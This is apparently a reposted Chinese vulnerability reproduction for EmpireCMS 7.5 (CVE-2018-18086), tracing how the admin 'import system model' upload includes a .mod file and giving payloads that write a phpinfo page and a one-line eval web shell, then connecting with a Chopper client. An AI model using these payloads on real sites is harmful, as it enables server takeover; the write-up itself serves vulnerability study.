帝國CMS(EmpireCMS) v7.5後臺getshell分析(CVE-2018-18086)php
1、漏洞描述html
EmpireCMS 7.5版本及以前版本在後臺備份數據庫時,未對數據庫表名作驗證,經過修改數據庫表名能夠實現任意代碼執行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的」LoadInMod」函數存在安全漏洞,攻擊者可利用該漏洞上傳任意文件。git
2、影響版本github
EmpireCMS<=7.5shell
3、環境搭建數據庫
一、官方下載EmpireCMS V7.5 下載地址:http://www.phome.net/download/安全
二、把下載的文件中的upload下的全部目錄和文件放入到網站根目錄下函數
三、修改php.ini配置文件, PHP環境中必須開啓短標籤,否則安裝會提示沒法安裝網站
四、設置php.ini中 short_open_tag = On,重啓phpstudy加密
五、而後開始安裝,安裝過程參考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html
4、漏洞復現
一、查看/e/admin/ecmsmod.php代碼
二、跟隨LoadInMod函數來到/e/class/moddofun.php,能夠看到上傳文件處使用make_password(10)對時間進行加密而後拼接成爲上傳的文件名,這樣就沒法獲得用戶名
三、繼續瀏覽代碼,在下面發現@include($path),直接包含了這個上傳的文件,這時若是在上傳文件中添加能夠建立文件的代碼就能夠繞過找不到文件名這個限制了。
四、咱們能夠構造以下payload:
<?php file_put_contents(「shell.php」,」<?php phpinfo(); ?>」); ?>
五、登陸後臺,點擊以下圖所示
六、點擊」導入系統模型」以後進入以下界面
七、能夠上傳一個內容爲php代碼的」.mod」後綴的文件,內容以下:
八、上傳1.php.mod文件
九、查看文件,能夠看到成功上傳
十、瀏覽訪問http://192.168.10.171/empirecms/e/admin/shell.php,能夠看到成功執行代碼
十一、上傳一個內容能夠getshell的1.php.mod,內容入下:注意須要對$進行轉義
<?php file_put_contents("caidao.php","<?php @eval(\$_POST[cmd]); ?>");?>
十二、成功上傳後,菜刀鏈接,成功getshell
------------------------------------------------------------------------------------------
參考: https://github.com/SukaraLin/php_code_audit_project/issues/1